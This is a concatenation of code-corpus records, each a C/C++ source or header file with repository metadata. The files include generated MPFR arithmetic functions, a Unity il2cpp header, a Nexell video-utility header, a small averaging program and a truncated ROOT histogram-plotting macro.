r64039906; double r64039908 = r64039907 * r64039893; double r64039909 = r64039905 + r64039908; double r64039910 = r64039909 * r64039893; double r64039911 = r64039893 * r64039893; double r64039912 = -26357760.0; double r64039913 = r64039912 * r64039892; double r64039914 = r64039913 * r64039893; double r64039915 = r64039911 * r64039914; double r64039916 = r64039915 * r64039915; double r64039917 = pow(r64039916, r64039894); double r64039918 = 17297280.0; double r64039919 = r64039892 * r64039918; double r64039920 = r64039919 * r64039919; double r64039921 = pow(r64039920, r64039894); double r64039922 = r64039917 - r64039921; double r64039923 = r64039893 * r64039913; double r64039924 = r64039911 * r64039923; double r64039925 = 1; double r64039926 = r64039894 + r64039925; double r64039927 = pow(r64039924, r64039926); double r64039928 = r64039918 * r64039892; double r64039929 = pow(r64039928, r64039926); double r64039930 = r64039927 + r64039929; double r64039931 = r64039928 * r64039924; double r64039932 = r64039931 * r64039931; double r64039933 = r64039930 + r64039932; double r64039934 = r64039922 / r64039933; double r64039935 = r64039915 - r64039919; double r64039936 = r64039934 / r64039935; double r64039937 = r64039910 + r64039936; double r64039938 = 4392960.0; double r64039939 = r64039938 * r64039892; double r64039940 = r64039892 * r64039939; double r64039941 = pow(r64039893, r64039894); double r64039942 = cbrt(r64039941); double r64039943 = r64039911 * r64039942; double r64039944 = r64039943 * r64039892; double r64039945 = r64039940 * r64039944; double r64039946 = r64039937 + r64039945; double r64039947 = r64039903 + r64039946; return r64039947; } void mpfr_fmod2(mpfr_t r, mpfr_t n, mpfr_t d, mpfr_rnd_t rmd) { mpfr_fmod(r, n, d, rmd); if (mpfr_cmp_ui(r, 0) < 0) mpfr_add(r, r, d, rmd); } static mpfr_t r64039948, r64039949, r64039950, r64039951, r64039952, r64039953, r64039954, r64039955, r64039956, r64039957, r64039958, r64039959, r64039960, r64039961, r64039962, r64039963, r64039964, r64039965, r64039966, r64039967, r64039968, r64039969, r64039970, r64039971, r64039972, r64039973, r64039974, r64039975, r64039976, r64039977, r64039978, r64039979, r64039980; void setup_mpfr_f_im() { mpfr_set_default_prec(592); mpfr_init_set_str(r64039948, "17297280.0", 10, MPFR_RNDN); mpfr_init(r64039949); mpfr_init(r64039950); mpfr_init_set_str(r64039951, "-69189120.0", 10, MPFR_RNDN); mpfr_init(r64039952); mpfr_init(r64039953); mpfr_init(r64039954); mpfr_init(r64039955); mpfr_init_set_str(r64039956, "69189120.0", 10, MPFR_RNDN); mpfr_init(r64039957); mpfr_init(r64039958); mpfr_init(r64039959); mpfr_init(r64039960); mpfr_init_set_str(r64039961, "-26357760.0", 10, MPFR_RNDN); mpfr_init(r64039962); mpfr_init(r64039963); mpfr_init(r64039964); mpfr_init(r64039965); mpfr_init_set_str(r64039966, "4392960.0", 10, MPFR_RNDN); mpfr_init(r64039967); mpfr_init(r64039968); mpfr_init(r64039969); mpfr_init(r64039970); mpfr_init_set_str(r64039971, "-319488.0", 10, MPFR_RNDN); mpfr_init(r64039972); mpfr_init(r64039973); mpfr_init(r64039974); mpfr_init(r64039975); mpfr_init_set_str(r64039976, "8192.0", 10, MPFR_RNDN); mpfr_init(r64039977); mpfr_init(r64039978); mpfr_init(r64039979); mpfr_init(r64039980); } double f_im(double x) { ; mpfr_set_d(r64039949, x, MPFR_RNDN); mpfr_mul(r64039950, r64039948, r64039949, MPFR_RNDN); ; mpfr_mul(r64039952, r64039949, r64039949, MPFR_RNDN); mpfr_mul(r64039953, r64039952, r64039949, MPFR_RNDN); mpfr_mul(r64039954, r64039951, r64039953, MPFR_RNDN); mpfr_add(r64039955, r64039950, r64039954, MPFR_RNDN); ; mpfr_mul(r64039957, r64039953, r64039949, MPFR_RNDN); mpfr_mul(r64039958, r64039957, r64039949, MPFR_RNDN); mpfr_mul(r64039959, r64039956, r64039958, MPFR_RNDN); mpfr_add(r64039960, r64039955, r64039959, MPFR_RNDN); ; mpfr_mul(r64039962, r64039958, r64039949, MPFR_RNDN); mpfr_mul(r64039963, r64039962, r64039949, MPFR_RNDN); mpfr_mul(r64039964, r64039961, r64039963, MPFR_RNDN); mpfr_add(r64039965, r64039960, r64039964, MPFR_RNDN); ; mpfr_mul(r64039967, r64039963, r64039949, MPFR_RNDN); mpfr_mul(r64039968, r64039967, r64039949, MPFR_RNDN); mpfr_mul(r64039969, r64039966, r64039968, MPFR_RNDN); mpfr_add(r64039970, r64039965, r64039969, MPFR_RNDN); ; mpfr_mul(r64039972, r64039968, r64039949, MPFR_RNDN); mpfr_mul(r64039973, r64039972, r64039949, MPFR_RNDN); mpfr_mul(r64039974, r64039971, r64039973, MPFR_RNDN); mpfr_add(r64039975, r64039970, r64039974, MPFR_RNDN); ; mpfr_mul(r64039977, r64039973, r64039949, MPFR_RNDN); mpfr_mul(r64039978, r64039977, r64039949, MPFR_RNDN); mpfr_mul(r64039979, r64039976, r64039978, MPFR_RNDN); mpfr_add(r64039980, r64039975, r64039979, MPFR_RNDN); return mpfr_get_d(r64039980, MPFR_RNDN); } static mpfr_t r64039981, r64039982, r64039983, r64039984, r64039985, r64039986, r64039987, r64039988, r64039989, r64039990, r64039991, r64039992, r64039993, r64039994, r64039995, r64039996, r64039997, r64039998, r64039999, r64040000, r64040001, r64040002, r64040003, r64040004, r64040005, r64040006, r64040007, r64040008, r64040009, r64040010, r64040011, r64040012, r64040013, r64040014, r64040015, r64040016, r64040017, r64040018, r64040019, r64040020, r64040021, r64040022, r64040023, r64040024, r64040025, r64040026, r64040027, r64040028, r64040029, r64040030, r64040031, r64040032, r64040033, r64040034, r64040035, r64040036; void setup_mpfr_f_fm() { mpfr_set_default_prec(592); mpfr_init(r64039981); mpfr_init(r64039982); mpfr_init_set_str(r64039983, "3", 10, MPFR_RNDN); mpfr_init(r64039984); mpfr_init(r64039985); mpfr_init(r64039986); mpfr_init(r64039987); mpfr_init_set_str(r64039988, "8192.0", 10, MPFR_RNDN); mpfr_init(r64039989); mpfr_init_set_str(r64039990, "-319488.0", 10, MPFR_RNDN); mpfr_init(r64039991); mpfr_init(r64039992); mpfr_init_set_str(r64039993, "-69189120.0", 10, MPFR_RNDN); mpfr_init(r64039994); mpfr_init_set_str(r64039995, "69189120.0", 10, MPFR_RNDN); mpfr_init(r64039996); mpfr_init(r64039997); mpfr_init(r64039998); mpfr_init(r64039999); mpfr_init(r64040000); mpfr_init_set_str(r64040001, "-26357760.0", 10, MPFR_RNDN); mpfr_init(r64040002); mpfr_init(r64040003); mpfr_init(r64040004); mpfr_init(r64040005); mpfr_init(r64040006); mpfr_init_set_str(r64040007, "17297280.0", 10, MPFR_RNDN); mpfr_init(r64040008); mpfr_init(r64040009); mpfr_init(r64040010); mpfr_init(r64040011); mpfr_init(r64040012); mpfr_init(r64040013); mpfr_init_set_str(r64040014, "1", 10, MPFR_RNDN); mpfr_init(r64040015); mpfr_init(r64040016); mpfr_init(r64040017); mpfr_init(r64040018); mpfr_init(r64040019); mpfr_init(r64040020); mpfr_init(r64040021); mpfr_init(r64040022); mpfr_init(r64040023); mpfr_init(r64040024); mpfr_init(r64040025); mpfr_init(r64040026); mpfr_init_set_str(r64040027, "4392960.0", 10, MPFR_RNDN); mpfr_init(r64040028); mpfr_init(r64040029); mpfr_init(r64040030); mpfr_init(r64040031); mpfr_init(r64040032); mpfr_init(r64040033); mpfr_init(r64040034); mpfr_init(r64040035); mpfr_init(r64040036); } double f_fm(double x) { mpfr_set_d(r64039981, x, MPFR_RNDN); mpfr_mul(r64039982, r64039981, r64039981, MPFR_RNDN); ; mpfr_pow(r64039984, r64039981, r64039983, MPFR_RNDN); mpfr_mul(r64039985, r64039984, r64039984, MPFR_RNDN); mpfr_mul(r64039986, r64039984, r64039985, MPFR_RNDN); mpfr_mul(r64039987, r64039982, r64039986, MPFR_RNDN); ; mpfr_mul(r64039989, r64039982, r64039988, MPFR_RNDN); ; mpfr_add(r64039991, r64039989, r64039990, MPFR_RNDN); mpfr_mul(r64039992, r64039987, r64039991, MPFR_RNDN); ; mpfr_mul(r64039994, r64039981, r64039993, MPFR_RNDN); ; mpfr_mul(r64039996, r64039981, r64039995, MPFR_RNDN); mpfr_mul(r64039997, r64039996, r64039982, MPFR_RNDN); mpfr_add(r64039998, r64039994, r64039997, MPFR_RNDN); mpfr_mul(r64039999, r64039998, r64039982, MPFR_RNDN); mpfr_mul(r64040000, r64039982, r64039982, MPFR_RNDN); ; mpfr_mul(r64040002, r64040001, r64039981, MPFR_RNDN); mpfr_mul(r64040003, r64040002, r64039982, MPFR_RNDN); mpfr_mul(r64040004, r64040000, r64040003, MPFR_RNDN); mpfr_mul(r64040005, r64040004, r64040004, MPFR_RNDN); mpfr_pow(r64040006, r64040005, r64039983, MPFR_RNDN); ; mpfr_mul(r64040008, r64039981, r64040007, MPFR_RNDN); mpfr_mul(r64040009, r64040008, r64040008, MPFR_RNDN); mpfr_pow(r64040010, r64040009, r64039983, MPFR_RNDN); mpfr_sub(r64040011, r64040006, r64040010, MPFR_RNDN); mpfr_mul(r64040012, r64039982, r64040002, MPFR_RNDN); mpfr_mul(r64040013, r64040000, r64040012, MPFR_RNDN); ; mpfr_add(r64040015, r64039983, r64040014, MPFR_RNDN); mpfr_pow(r64040016, r64040013, r64040015, MPFR_RNDN); mpfr_mul(r64040017, r64040007, r64039981, MPFR_RNDN); mpfr_pow(r64040018, r64040017, r64040015, MPFR_RNDN); mpfr_add(r64040019, r64040016, r64040018, MPFR_RNDN); mpfr_mul(r64040020, r64040017, r64040013, MPFR_RNDN); mpfr_mul(r64040021, r64040020, r64040020, MPFR_RNDN); mpfr_add(r64040022, r64040019, r64040021, MPFR_RNDN); mpfr_div(r64040023, r64040011, r64040022, MPFR_RNDN); mpfr_sub(r64040024, r64040004, r64040008, MPFR_RNDN); mpfr_div(r64040025, r64040023, r64040024, MPFR_RNDN); mpfr_add(r64040026, r64039999, r64040025, MPFR_RNDN); ; mpfr_mul(r64040028, r64040027, r64039981, MPFR_RNDN); mpfr_mul(r64040029, r64039981, r64040028, MPFR_RNDN); mpfr_pow(r64040030, r64039982, r64039983, MPFR_RNDN); mpfr_cbrt(r64040031, r64040030, MPFR_RNDN); mpfr_mul(r64040032, r64040000, r64040031, MPFR_RNDN); mpfr_mul(r64040033, r64040032, r64039981, MPFR_RNDN); mpfr_mul(r64040034, r64040029, r64040033, MPFR_RNDN); mpfr_add(r64040035, r64040026, r64040034, MPFR_RNDN); mpfr_add(r64040036, r64039992, r64040035, MPFR_RNDN); return mpfr_get_d(r64040036, MPFR_RNDN); } static mpfr_t r64040037, r64040038, r64040039, r64040040, r64040041, r64040042, r64040043, r64040044, r64040045, r64040046, r64040047, r64040048, r64040049, r64040050, r64040051, r64040052, r64040053, r64040054, r64040055, r64040056, r64040057, r64040058, r64040059, r64040060, r64040061, r64040062, r64040063, r64040064, r64040065, r64040066, r64040067, r64040068, r64040069, r64040070, r64040071, r64040072, r64040073, r64040074, r64040075, r64040076, r64040077, r64040078, r64040079, r64040080, r64040081, r64040082, r64040083, r64040084, r64040085, r64040086, r64040087, r64040088, r64040089, r64040090, r64040091, r64040092; void setup_mpfr_f_dm() { mpfr_set_default_prec(592); mpfr_init(r64040037); mpfr_init(r64040038); mpfr_init_set_str(r64040039, "3", 10, MPFR_RNDN); mpfr_init(r64040040); mpfr_init(r64040041); mpfr_init(r64040042); mpfr_init(r64040043); mpfr_init_set_str(r64040044, "8192.0", 10, MPFR_RNDN); mpfr_init(r64040045); mpfr_init_set_str(r64040046, "-319488.0", 10, MPFR_RNDN); mpfr_init(r64040047); mpfr_init(r64040048); mpfr_init_set_str(r64040049, "-69189120.0", 10, MPFR_RNDN); mpfr_init(r64040050); mpfr_init_set_str(r64040051, "69189120.0", 10, MPFR_RNDN); mpfr_init(r64040052); mpfr_init(r64040053); mpfr_init(r64040054); mpfr_init(r64040055); mpfr_init(r64040056); mpfr_init_set_str(r64040057, "-26357760.0", 10, MPFR_RNDN); mpfr_init(r64040058); mpfr_init(r64040059); mpfr_init(r64040060); mpfr_init(r64040061); mpfr_init(r64040062); mpfr_init_set_str(r64040063, "17297280.0", 10, MPFR_RNDN); mpfr_init(r64040064); mpfr_init(r64040065); mpfr_init(r64040066); mpfr_init(r64040067); mpfr_init(r64040068); mpfr_init(r64040069); mpfr_init_set_str(r64040070, "1", 10, MPFR_RNDN); mpfr_init(r64040071); mpfr_init(r64040072); mpfr_init(r64040073); mpfr_init(r64040074); mpfr_init(r64040075); mpfr_init(r64040076); mpfr_init(r64040077); mpfr_init(r64040078); mpfr_init(r64040079); mpfr_init(r64040080); mpfr_init(r64040081); mpfr_init(r64040082); mpfr_init_set_str(r64040083, "4392960.0", 10, MPFR_RNDN); mpfr_init(r64040084); mpfr_init(r64040085); mpfr_init(r64040086); mpfr_init(r64040087); mpfr_init(r64040088); mpfr_init(r64040089); mpfr_init(r64040090); mpfr_init(r64040091); mpfr_init(r64040092); } double f_dm(double x) { mpfr_set_d(r64040037, x, MPFR_RNDN); mpfr_mul(r64040038, r64040037, r64040037, MPFR_RNDN); ; mpfr_pow(r64040040, r64040037, r64040039, MPFR_RNDN); mpfr_mul(r64040041, r64040040, r64040040, MPFR_RNDN); mpfr_mul(r64040042, r64040040, r64040041, MPFR_RNDN); mpfr_mul(r64040043, r64040038, r64040042, MPFR_RNDN); ; mpfr_mul(r64040045, r64040038, r64040044, MPFR_RNDN); ; mpfr_add(r64040047, r64040045, r64040046, MPFR_RNDN); mpfr_mul(r64040048, r64040043, r64040047, MPFR_RNDN); ; mpfr_mul(r64040050, r64040037, r64040049, MPFR_RNDN); ; mpfr_mul(r64040052, r64040037, r64040051, MPFR_RNDN); mpfr_mul(r64040053, r64040052, r64040038, MPFR_RNDN); mpfr_add(r64040054, r64040050, r64040053, MPFR_RNDN); mpfr_mul(r64040055, r64040054, r64040038, MPFR_RNDN); mpfr_mul(r64040056, r64040038, r64040038, MPFR_RNDN); ; mpfr_mul(r64040058, r64040057, r64040037, MPFR_RNDN); mpfr_mul(r64040059, r64040058, r64040038, MPFR_RNDN); mpfr_mul(r64040060, r64040056, r64040059, MPFR_RNDN); mpfr_mul(r64040061, r64040060, r64040060, MPFR_RNDN); mpfr_pow(r64040062, r64040061, r64040039, MPFR_RNDN); ; mpfr_mul(r64040064, r64040037, r64040063, MPFR_RNDN); mpfr_mul(r64040065, r64040064, r64040064, MPFR_RNDN); mpfr_pow(r64040066, r64040065, r64040039, MPFR_RNDN); mpfr_sub(r64040067, r64040062, r64040066, MPFR_RNDN); mpfr_mul(r64040068, r64040038, r64040058, MPFR_RNDN); mpfr_mul(r64040069, r64040056, r64040068, MPFR_RNDN); ; mpfr_add(r64040071, r64040039, r64040070, MPFR_RNDN); mpfr_pow(r64040072, r64040069, r64040071, MPFR_RNDN); mpfr_mul(r64040073, r64040063, r64040037, MPFR_RNDN); mpfr_pow(r64040074, r64040073, r64040071, MPFR_RNDN); mpfr_add(r64040075, r64040072, r64040074, MPFR_RNDN); mpfr_mul(r64040076, r64040073, r64040069, MPFR_RNDN); mpfr_mul(r64040077, r64040076, r64040076, MPFR_RNDN); mpfr_add(r64040078, r64040075, r64040077, MPFR_RNDN); mpfr_div(r64040079, r64040067, r64040078, MPFR_RNDN); mpfr_sub(r64040080, r64040060, r64040064, MPFR_RNDN); mpfr_div(r64040081, r64040079, r64040080, MPFR_RNDN); mpfr_add(r64040082, r64040055, r64040081, MPFR_RNDN); ; mpfr_mul(r64040084, r64040083, r64040037, MPFR_RNDN); mpfr_mul(r64040085, r64040037, r64040084, MPFR_RNDN); mpfr_pow(r64040086, r64040038, r64040039, MPFR_RNDN); mpfr_cbrt(r64040087, r64040086, MPFR_RNDN); mpfr_mul(r64040088, r64040056, r64040087, MPFR_RNDN); mpfr_mul(r64040089, r64040088, r64040037, MPFR_RNDN); mpfr_mul(r64040090, r64040085, r64040089, MPFR_RNDN); mpfr_add(r64040091, r64040082, r64040090, MPFR_RNDN); mpfr_add(r64040092, r64040048, r64040091, MPFR_RNDN); return mpfr_get_d(r64040092, MPFR_RNDN); }
ca71e989b19b4139c63cdefdea4e2bc0d602152e
04c8d8da9cebc13513c1b9c7658707ecadfa0ed3
/Roll a Ball/Temp/il2cppOutput/il2cppOutput/System_Core_System_Linq_Enumerable_U3CCreateWhereIteratorU3E_5.h
8b4edcb0d9ba3543dd7768f39de9293e7e0647c6
[]
no_license
fkieyhzen/RollABall
ed9ef9e93f3cfaecd2be10013797e97e9c1e479e
f083b660966094939ed2b5d2028e31bb4e86a67e
refs/heads/master
2023-03-19T18:19:11.437779
2015-06-08T15:27:45
2015-06-08T15:27:45
null
0
0
null
null
null
null
UTF-8
C
false
false
1,753
h
System_Core_System_Linq_Enumerable_U3CCreateWhereIteratorU3E_5.h
#pragma once // System.Collections.Generic.IEnumerable`1<Parse.ParseFile> struct IEnumerable_1_t5576; // System.Collections.Generic.IEnumerator`1<Parse.ParseFile> struct IEnumerator_1_t5575; // Parse.ParseFile struct ParseFile_t572; // System.Func`2<Parse.ParseFile,System.Boolean> struct Func_2_t627; // System.Object #include "mscorlib_System_Object.h" // System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile> struct U3CCreateWhereIteratorU3Ec__Iterator1D_1_t5577 : public Object_t { // System.Collections.Generic.IEnumerable`1<TSource> System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile>::source Object_t* ___source_0; // System.Collections.Generic.IEnumerator`1<TSource> System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile>::<$s_97>__0 Object_t* ___U3C$s_97U3E__0_1; // TSource System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile>::<element>__1 ParseFile_t572 * ___U3CelementU3E__1_2; // System.Func`2<TSource,System.Boolean> System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile>::predicate Func_2_t627 * ___predicate_3; // System.Int32 System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile>::$PC int32_t ___$PC_4; // TSource System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile>::$current ParseFile_t572 * ___$current_5; // System.Collections.Generic.IEnumerable`1<TSource> System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile>::<$>source Object_t* ___U3C$U3Esource_6; // System.Func`2<TSource,System.Boolean> System.Linq.Enumerable/<CreateWhereIterator>c__Iterator1D`1<Parse.ParseFile>::<$>predicate Func_2_t627 * ___U3C$U3Epredicate_7; };
cf31c2336ab32f8a49273e33f840705fc027eef0
4c84215eebc25abf02113edfd4c79bfb4f38a1d3
/devfreq/nx_vpu/nx_vpu_dump/src/nx_video_utils.h
ecbc16430ee7a8fe2be2d4418ce83f2f6f01bf14
[]
no_license
NexellCorp/characterization_nxp3220
4614a2ed998b1ec032c5ba0535b1f96881ca0610
2e279610cd0a061cb752c1a0752a5d1f0e03a183
refs/heads/master
2020-04-12T18:01:51.172575
2019-10-01T09:18:03
2019-10-02T00:00:14
156,310,138
0
0
null
null
null
null
UTF-8
C
false
false
1,371
h
nx_video_utils.h
//------------------------------------------------------------------------------ // // Copyright (C) 2018 Nexell Co. All Rights Reserved // Nexell Co. Proprietary & Confidential // // NEXELL INFORMS THAT THIS CODE AND INFORMATION IS PROVIDED "AS IS" BASE // AND WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING // BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS // FOR A PARTICULAR PURPOSE. // // Module : // File : // Description : // Author : // Export : // History : // //------------------------------------------------------------------------------ #ifndef __NX_VIDEO_UTILS_H__ #define __NX_VIDEO_UTILS_H__ #include <stdint.h> #include "nx_video_alloc.h" typedef struct NX_STREAM_INFO { char* buf; int32_t size; } NX_STREAM_INFO; int32_t nx_stream_dump( NX_STREAM_INFO* stream, const char *fmt, ... ); int32_t nx_stream_load( NX_STREAM_INFO** stream, const char *fmt, ... ); void nx_stream_free( NX_STREAM_INFO* stream ); int32_t nx_memory_dump( NX_VID_MEMORY_INFO* memory, const char *fmt, ... ); int32_t nx_memory_load( NX_VID_MEMORY_INFO* memory, const char *fmt, ... ); int32_t nx_memory_compare( NX_VID_MEMORY_INFO* src_memory, NX_VID_MEMORY_INFO* dst_memory ); int32_t nx_get_plane_num( uint32_t fourcc ); const char* nx_get_format_string( uint32_t fourcc ); #endif // __NX_VIDEO_UTILS_H__
9208e47bf17a128eaf9e12499520aef22474701d
9ee84e002cb24fec8a5db9c72e96ad7f1af5f593
/Code challenges/C/C-1006.c
bba30e30da6ada50ee891df227b9a7c1a5051d60
[ "MIT" ]
permissive
Gabrielchollet/code_challenges_URI
deac3b317b198b6f526f0783eb1b5ae5f4d345e4
b18807af0a5a15ccc6cd4a7c30df02667172870c
refs/heads/master
2023-08-15T10:25:41.518789
2021-09-16T06:27:34
2021-09-16T06:27:34
285,823,708
0
0
null
null
null
null
UTF-8
C
false
false
227
c
C-1006.c
#include <stdio.h> int main() { double A, B, C; scanf("%lf\n", &A); scanf("%lf\n", &B); scanf("%lf\n", &C); float MEDIA = (2 * A + 3 * B + 5 * C) / 10; printf("MEDIA = %.1f\n", MEDIA); return 0; }
99cddf9bacc745adea4f9a75bf026a2f73ef0956
991b871f32f6493a2309fdf5314af84e7df10168
/Smartwatch/Samsung Galaxy Watch 3/Sensors/inc/mqtt/VersionInfo.h
60a59f8209007e7c127ac396ec867c12086969bb
[ "MIT" ]
permissive
DM-Kang/KUoslab_Smartwatch
5e42bc0ddaf3f905fd25feedd6dfbfdc6274de5a
3edeb50faf19d31df4fa14d0e94503329ad45e67
refs/heads/main
2023-04-17T11:46:23.865678
2021-05-06T05:03:12
2021-05-06T05:03:12
339,308,088
1
1
null
null
null
null
UTF-8
C
false
false
163
h
VersionInfo.h
#ifndef VERSIONINFO_H #define VERSIONINFO_H #define BUILD_TIMESTAMP "Mon 18 Jan 2021 06:44:09 PM KST" #define CLIENT_VERSION "1.2.0" #endif /* VERSIONINFO_H */
b19bdaa50eae61799607634c87e8a6b708630353
a51e6f433c581f26a67fe396dc29afa50dda0f13
/analyzeNplot/SF/plots/nvtx.C
fedb8da626cef59a532c5dcfa2d3130fbbf34585
[]
no_license
jmhogan/MtopFromEbPeak
bfc5499c8eca1128a787e102269ba405525ab905
ffd101553687ac145562d655e5ee70fde9889fab
refs/heads/master
2021-05-06T15:22:58.451793
2018-01-12T02:36:34
2018-01-12T02:36:34
113,599,208
0
3
null
2017-12-08T17:17:29
2017-12-08T17:17:29
null
UTF-8
C
false
false
34,043
c
nvtx.C
void nvtx() { //=========Macro generated from canvas: c/c //========= (Thu Jan 11 16:38:00 2018) by ROOT version6.08/07 TCanvas *c = new TCanvas("c", "c",0,0,500,500); gStyle->SetOptStat(0); gStyle->SetOptTitle(0); c->SetHighLightColor(2); c->Range(0,0,1,1); c->SetFillColor(0); c->SetBorderMode(0); c->SetBorderSize(2); c->SetLeftMargin(0); c->SetRightMargin(0); c->SetTopMargin(0); c->SetBottomMargin(0); c->SetFrameBorderMode(0); // ------------>Primitives in pad: p1 TPad *p1 = new TPad("p1", "p1",0,0,1,0.85); p1->Draw(); p1->cd(); p1->Range(-5.783133,-1614.397,42.40964,11839.74); p1->SetFillColor(0); p1->SetBorderMode(0); p1->SetBorderSize(2); p1->SetGridx(); p1->SetLeftMargin(0.12); p1->SetRightMargin(0.05); p1->SetTopMargin(0.01); p1->SetBottomMargin(0.12); p1->SetFrameBorderMode(0); p1->SetFrameBorderMode(0); TH1F *frame__71 = new TH1F("frame__71","t#bar{t}",40,0,40); frame__71->SetMinimum(0.1); frame__71->SetMaximum(11705.2); frame__71->SetEntries(360574); frame__71->SetDirectory(0); Int_t ci; // for color index setting TColor *color; // for color definition with alpha ci = TColor::GetColor("#cc0000"); frame__71->SetFillColor(ci); ci = TColor::GetColor("#cc0000"); frame__71->SetMarkerColor(ci); frame__71->GetXaxis()->SetTitle("Vertex multiplicity"); frame__71->GetXaxis()->SetLabelFont(42); frame__71->GetXaxis()->SetLabelSize(0.035); frame__71->GetXaxis()->SetTitleSize(0.035); frame__71->GetXaxis()->SetTitleFont(42); frame__71->GetYaxis()->SetTitle(" Events"); frame__71->GetYaxis()->SetNoExponent(); frame__71->GetYaxis()->SetLabelFont(42); frame__71->GetYaxis()->SetTitleSize(0.045); frame__71->GetYaxis()->SetTitleOffset(1.3); frame__71->GetYaxis()->SetTitleFont(42); frame__71->GetZaxis()->SetLabelFont(42); frame__71->GetZaxis()->SetLabelSize(0.035); frame__71->GetZaxis()->SetTitleSize(0.035); frame__71->GetZaxis()->SetTitleFont(42); frame__71->Draw(""); THStack *mc = new THStack(); mc->SetName("mc"); mc->SetTitle("mc"); TH1F *mc_stack_11 = new TH1F("mc_stack_11","mc",40,0,40); mc_stack_11->SetMinimum(-7.572143e-07); mc_stack_11->SetMaximum(8825.094); mc_stack_11->SetDirectory(0); mc_stack_11->SetStats(0); ci = TColor::GetColor("#000099"); mc_stack_11->SetLineColor(ci); mc_stack_11->GetXaxis()->SetLabelFont(42); mc_stack_11->GetXaxis()->SetLabelSize(0.035); mc_stack_11->GetXaxis()->SetTitleSize(0.035); mc_stack_11->GetXaxis()->SetTitleFont(42); mc_stack_11->GetYaxis()->SetLabelFont(42); mc_stack_11->GetYaxis()->SetLabelSize(0.035); mc_stack_11->GetYaxis()->SetTitleSize(0.035); mc_stack_11->GetYaxis()->SetTitleFont(42); mc_stack_11->GetZaxis()->SetLabelFont(42); mc_stack_11->GetZaxis()->SetLabelSize(0.035); mc_stack_11->GetZaxis()->SetTitleSize(0.035); mc_stack_11->GetZaxis()->SetTitleFont(42); mc->SetHistogram(mc_stack_11); TH1F *nvtx_t#bar{t}__72 = new TH1F("nvtx_t#bar{t}__72","t#bar{t}",40,0,40); nvtx_t#bar{t}__72->SetBinContent(2,5.003424); nvtx_t#bar{t}__72->SetBinContent(3,15.79608); nvtx_t#bar{t}__72->SetBinContent(4,37.13127); nvtx_t#bar{t}__72->SetBinContent(5,107.5535); nvtx_t#bar{t}__72->SetBinContent(6,219.3293); nvtx_t#bar{t}__72->SetBinContent(7,447.3776); nvtx_t#bar{t}__72->SetBinContent(8,775.7993); nvtx_t#bar{t}__72->SetBinContent(9,1335.492); nvtx_t#bar{t}__72->SetBinContent(10,2056.479); nvtx_t#bar{t}__72->SetBinContent(11,2880.555); nvtx_t#bar{t}__72->SetBinContent(12,3789.124); nvtx_t#bar{t}__72->SetBinContent(13,4773.763); nvtx_t#bar{t}__72->SetBinContent(14,5724.416); nvtx_t#bar{t}__72->SetBinContent(15,6520.531); nvtx_t#bar{t}__72->SetBinContent(16,7197.437); nvtx_t#bar{t}__72->SetBinContent(17,7694.452); nvtx_t#bar{t}__72->SetBinContent(18,7995.042); nvtx_t#bar{t}__72->SetBinContent(19,8019.534); nvtx_t#bar{t}__72->SetBinContent(20,7975.499); nvtx_t#bar{t}__72->SetBinContent(21,7603.117); nvtx_t#bar{t}__72->SetBinContent(22,7289.205); nvtx_t#bar{t}__72->SetBinContent(23,6644.584); nvtx_t#bar{t}__72->SetBinContent(24,6090.735); nvtx_t#bar{t}__72->SetBinContent(25,5472.71); nvtx_t#bar{t}__72->SetBinContent(26,4921.41); nvtx_t#bar{t}__72->SetBinContent(27,4332.891); nvtx_t#bar{t}__72->SetBinContent(28,3713.267); nvtx_t#bar{t}__72->SetBinContent(29,3224.673); nvtx_t#bar{t}__72->SetBinContent(30,2767.238); nvtx_t#bar{t}__72->SetBinContent(31,2422.092); nvtx_t#bar{t}__72->SetBinContent(32,2065.935); nvtx_t#bar{t}__72->SetBinContent(33,1795.768); nvtx_t#bar{t}__72->SetBinContent(34,1545.641); nvtx_t#bar{t}__72->SetBinContent(35,1308.846); nvtx_t#bar{t}__72->SetBinContent(36,1094.514); nvtx_t#bar{t}__72->SetBinContent(37,932.6837); nvtx_t#bar{t}__72->SetBinContent(38,849.6636); nvtx_t#bar{t}__72->SetBinContent(39,651.6283); nvtx_t#bar{t}__72->SetBinContent(40,562.8503); nvtx_t#bar{t}__72->SetBinContent(41,2900.389); nvtx_t#bar{t}__72->SetBinError(2,1.429886); nvtx_t#bar{t}__72->SetBinError(3,2.539333); nvtx_t#bar{t}__72->SetBinError(4,3.864093); nvtx_t#bar{t}__72->SetBinError(5,6.697976); nvtx_t#bar{t}__72->SetBinError(6,9.507386); nvtx_t#bar{t}__72->SetBinError(7,13.57952); nvtx_t#bar{t}__72->SetBinError(8,17.82687); nvtx_t#bar{t}__72->SetBinError(9,23.40798); nvtx_t#bar{t}__72->SetBinError(10,29.09364); nvtx_t#bar{t}__72->SetBinError(11,34.39466); nvtx_t#bar{t}__72->SetBinError(12,39.44083); nvtx_t#bar{t}__72->SetBinError(13,44.32093); nvtx_t#bar{t}__72->SetBinError(14,48.48014); nvtx_t#bar{t}__72->SetBinError(15,51.71137); nvtx_t#bar{t}__72->SetBinError(16,54.38175); nvtx_t#bar{t}__72->SetBinError(17,56.21422); nvtx_t#bar{t}__72->SetBinError(18,57.28998); nvtx_t#bar{t}__72->SetBinError(19,57.44206); nvtx_t#bar{t}__72->SetBinError(20,57.22972); nvtx_t#bar{t}__72->SetBinError(21,55.88189); nvtx_t#bar{t}__72->SetBinError(22,54.71721); nvtx_t#bar{t}__72->SetBinError(23,52.2602); nvtx_t#bar{t}__72->SetBinError(24,49.98473); nvtx_t#bar{t}__72->SetBinError(25,47.41493); nvtx_t#bar{t}__72->SetBinError(26,44.95575); nvtx_t#bar{t}__72->SetBinError(27,42.17441); nvtx_t#bar{t}__72->SetBinError(28,39.06401); nvtx_t#bar{t}__72->SetBinError(29,36.35983); 